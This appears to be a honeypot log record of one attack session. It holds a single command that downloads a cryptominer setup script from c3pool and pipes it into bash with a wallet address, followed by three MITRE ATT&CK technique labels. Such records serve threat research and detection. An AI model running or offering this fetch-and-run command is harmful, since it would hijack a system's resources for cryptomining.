Honeypot attack session (period 2021_2022), commands issued:
curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 45dNkjTQGgT77r9AEMyHdCGan5tpuekXaHFhFW99dQ8hUS35oZQEYXddFE52jxVdfUNrAD4ZyZ44BgHfgk5SjHdoLjGdJnQ

MITRE ATT&CK techniques observed:
T1105 Ingress Tool Transfer
T1027 Obfuscated Files or Information
T1059 Command and Scripting Interpreter